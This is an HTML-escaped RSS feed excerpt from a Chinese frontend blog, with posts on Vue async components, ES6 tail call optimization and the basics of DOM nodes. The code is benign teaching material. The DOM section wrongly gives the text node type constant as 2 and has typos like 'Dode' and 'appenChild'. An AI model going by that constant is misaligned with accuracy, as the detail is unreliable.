&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;HelloWorld&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./components/HelloWorld.vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;现在我们就将&lt;code&gt;&amp;lt;hello-world&amp;gt;&lt;/code&gt;组件修改为异步组件，示例代码如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;template&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;logo&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;img&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;world&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;msg&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Welcome to Your Vue.js App&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/template&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setup&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;defineAsyncComponent&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LogoImg&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./components/LogoImg.vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 简单用法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;HelloWorld&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;defineAsyncComponent&lt;/span&gt;(() =&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;import&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;./components/HelloWorld.vue&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们这里为了看到效果，将&lt;code&gt;import&lt;/code&gt;延迟执行，示例代码如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setup&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;defineAsyncComponent&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LogoImg&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./components/LogoImg.vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 定义一个耗时执行的函数，t 表示延迟的时间， callback 表示需要执行的函数，可选
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;time&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;t&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; () =&amp;gt; {}) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#a6e22e"&gt;t&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 定义异步组件，这里这样写是为了查看效果
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;HelloWorld&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;defineAsyncComponent&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise((&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;reject&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;(&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;time&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;import&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;./components/HelloWorld.vue&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;reject&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;代码运行结果如下所示：&lt;/p&gt;</description></item><item><title>尾部优化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-017/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-017/</guid><description>&lt;p&gt;ES6 引入了&lt;strong&gt;尾调用优化（Tail Call Optimization，TCO）&lt;strong&gt;的规范，但它的实现依赖于 &lt;strong&gt;JavaScript 引擎的支持&lt;/strong&gt;（比如 V8 并未开启 TCO），所以这是一个&lt;/strong&gt;理论上重要、实践中需要谨慎对待&lt;/strong&gt;的考点。&lt;/p&gt;
&lt;h2 id="一什么是尾调用tail-call"&gt;一、什么是尾调用（Tail Call）？&lt;/h2&gt;
&lt;p&gt;尾调用是指：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;函数的最后一步是调用另一个函数&lt;/strong&gt;，并直接返回这个函数的执行结果。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// bar 是 foo 的尾调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;尾调用意味着：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前函数的&lt;strong&gt;调用栈帧&lt;/strong&gt;不需要再做任何事。&lt;/li&gt;
&lt;li&gt;调用栈可以复用，&lt;strong&gt;不需要为当前函数保留栈帧&lt;/strong&gt;，从而节省内存。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二什么是尾调用优化tco"&gt;二、什么是尾调用优化（TCO）？&lt;/h2&gt;
&lt;p&gt;尾调用优化的目标是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当一个函数的最后一步是调用另一个函数，JS 引擎可以不再保留当前函数的调用记录，&lt;strong&gt;直接跳转执行被调用函数，复用当前栈帧&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不会形成函数调用嵌套的“栈帧链”；&lt;/li&gt;
&lt;li&gt;可以避免&lt;strong&gt;函数递归导致的栈溢出（stack overflow）&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="三尾调用成立的条件"&gt;三、尾调用成立的条件&lt;/h2&gt;
&lt;p&gt;必须同时满足以下三个条件：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;条件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. 在严格模式下&lt;/td&gt;
&lt;td&gt;TCO 只在 strict mode 下才可能被引擎开启&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 是函数的最后一步调用&lt;/td&gt;
&lt;td&gt;return 后没有任何操作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. 返回调用结果&lt;/td&gt;
&lt;td&gt;return bar(x) 形式，不能是 &lt;code&gt;bar(x); return y&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;✅ 尾调用示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;use strict&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;f&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;g&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 最后一步是返回 g(x)，符合尾调用优化条件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;❌ 非尾调用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;f&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;g&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 不是直接返回函数调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="四尾调用优化应用场景尾递归"&gt;四、尾调用优化应用场景：&lt;strong&gt;尾递归&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;递归调用时，若能做到尾调用，就能避免栈溢出。&lt;/p&gt;</description></item><item><title>DOM操作</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-017/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-017/</guid><description>&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-017/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="1dom基本概念"&gt;1、DOM基本概念&lt;/h2&gt;
&lt;h3 id="11domdom节点与dom树"&gt;1.1、DOM、DOM节点与DOM树&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://developer.mozilla.org/zh-CN/docs/Glossary/DOM"&gt;DOM&lt;/a&gt;&lt;/strong&gt;：(&lt;strong&gt;D&lt;/strong&gt;ocument &lt;strong&gt;O&lt;/strong&gt;bject &lt;strong&gt;M&lt;/strong&gt;odel, 文档对象模型)是文档内容（HTML或XML）在编程语言上的抽象模型，它建模了文档的内容和结构，并提供给编程语言一套完整的操纵文档的API。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;本文面向HTML，不讨论XML等文档，下文中“文档===HTML”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DOM节点&lt;/strong&gt;：简称节点（Node），是DOM模型的组成单元。HTML的基本单元是标签，节点&lt;strong&gt;常常&lt;/strong&gt;与标签对应，但连续的文本内容也是一个&lt;strong&gt;文本标签&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOM树&lt;/strong&gt;：DOM树是DOM结构的表示形式，DOM把文档的每个节点根据父子关系连接，形成DOM树。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12节点节点类型和节点类"&gt;1.2、节点、节点类型和节点类&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;节点&lt;/strong&gt;：前面提过，节点是DOM树的组成单元。在JS看来，一个节点就是JS对象。下面用&lt;code&gt;node&lt;/code&gt;表示任意的节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Node/nodeType"&gt;节点类型&lt;/a&gt;&lt;/strong&gt;：并非所有的节点都是一样的，DOM规定文档中有12种节点类型，分别用常量&lt;code&gt;1 ~ 12&lt;/code&gt;（有与之对应的常量名称&lt;code&gt;Node.XXX_NODE&lt;/code&gt;）表示，可以通过&lt;code&gt;node.nodeType&lt;/code&gt;属性获取节点的类型常量。 现在，有些类型的节点已经弃用了，常见到的只有几种类型的节点，包括：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;元素节点&lt;/strong&gt;: 类型常量为&lt;code&gt;Node.ELEMENT_NODE&lt;/code&gt;或&lt;code&gt;1&lt;/code&gt;。最常见的一类节点，对应文档中的元素。大部分DOM操作都是在元素节点层次的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文本节点&lt;/strong&gt;：类型常量为&lt;code&gt;Node.TEXT_NODE&lt;/code&gt;或&lt;code&gt;2&lt;/code&gt;。对应文档中的文本，&lt;strong&gt;任何文档内容都有对应的文本节点，即使空格和换行符&lt;/strong&gt;。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;空格和换行不会对页面内容产生影响，但它们确实以文本节点的形式存在于DOM树中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Document节点&lt;/strong&gt;：类型常量为&lt;code&gt;Node.DOCUMENT_NODE&lt;/code&gt;或&lt;code&gt;9&lt;/code&gt;。它不对应文档的内容，而是作为文档的入口节点，每个文档都有且仅有一个入口，因为这种独特性，赋予一个特殊的变量名称&lt;code&gt;document&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注释节点&lt;/strong&gt;：类型常量为&lt;code&gt;Node.COMMENT_NODE&lt;/code&gt;或&lt;code&gt;8&lt;/code&gt;。它对应文档中的注释标签，文档的注释内容也是可读取和修改的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;节点类&lt;/strong&gt;：DOM内置许多节点类，类之间存在继承关系，形成一套节点类框架。每个节点对象都属于节点类，拥有该类和其父类的方法与属性，这使得操作节点十分简单。节点类框架的一部分大概如图： &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-017/image-02.webp"&gt; 这些节点上有丰富的属性和方法，是继承的结果，可以看到，一个HTML标签元素至少有四层的继承关系。 以&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;标签为例，它属于&lt;code&gt;HTMLAnchorElement&lt;/code&gt;类，获得了&lt;code&gt;a.target&lt;/code&gt;，&lt;code&gt;a.download&lt;/code&gt;等属性，接着继承了&lt;code&gt;HTMLElement&lt;/code&gt;类上的&lt;code&gt;title&lt;/code&gt;, &lt;code&gt;hidden&lt;/code&gt;等属性和&lt;code&gt;click()&lt;/code&gt;等方法，又从&lt;code&gt;Element&lt;/code&gt;类继承了&lt;code&gt;tagName&lt;/code&gt;, &lt;code&gt;className&lt;/code&gt;等属性和&lt;code&gt;getAttribute()&lt;/code&gt;, &lt;code&gt;setAttribute()&lt;/code&gt;等方法，再从&lt;code&gt;Node&lt;/code&gt;类继承了&lt;code&gt;nodeType&lt;/code&gt;(前面说过的节点类型), &lt;code&gt;appenChild()&lt;/code&gt;, &lt;code&gt;removeChild()&lt;/code&gt;等方法，最后从&lt;code&gt;EventTarget&lt;/code&gt;类中继承了事件相关的属性和方法。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;不要混淆节点类型和节点类这两个概念&lt;/strong&gt;。前者是一个生活中的&lt;strong&gt;类别&lt;/strong&gt;，后者是编程意义上的&lt;strong&gt;类&lt;/strong&gt;。节点对象的&lt;code&gt;nodeType&lt;/code&gt;属性表示了它的类型，而节点类是该节点的从属的类。因为&lt;code&gt;Dode&lt;/code&gt;是一个抽象类，所以，如果知道了某个节点从属的类，我们就知道它的节点类型。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;区分节点与元素节点&lt;/strong&gt;。我们经常关心元素节点（简称元素），因为这是一类最常使用的节点，但是并非所有节点都是元素。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="13探索dom结构"&gt;1.3、探索DOM结构&lt;/h3&gt;
&lt;p&gt;前面的说法太抽象了，让我们用实际的例子看看文档、DOM树与节点的关系。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0A...#"&gt;Live DOM Viewer&lt;/a&gt;是一个可以根据HTML文档实时查看DOM树的网站。你把下面的例子复制过去，或者自己去探索。&lt;/p&gt;
&lt;p&gt;一个简单的HTML文档：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE HTML&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; A simple text.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;ol&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;this is a title&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;czpcalm&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- comment --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;ol&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;它对应的DOM图（颜色区分了节点类型）：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-017/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;留意这个图，你要注意几点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;总共有4种类型的节点，分别是&lt;code&gt;标签节点&lt;/code&gt;（红色）,&lt;code&gt;文本节点&lt;/code&gt;（灰色），&lt;code&gt;注释节点&lt;/code&gt;(黄色)和&lt;code&gt;DOCTYPE节点&lt;/code&gt;（紫色）。&lt;/li&gt;
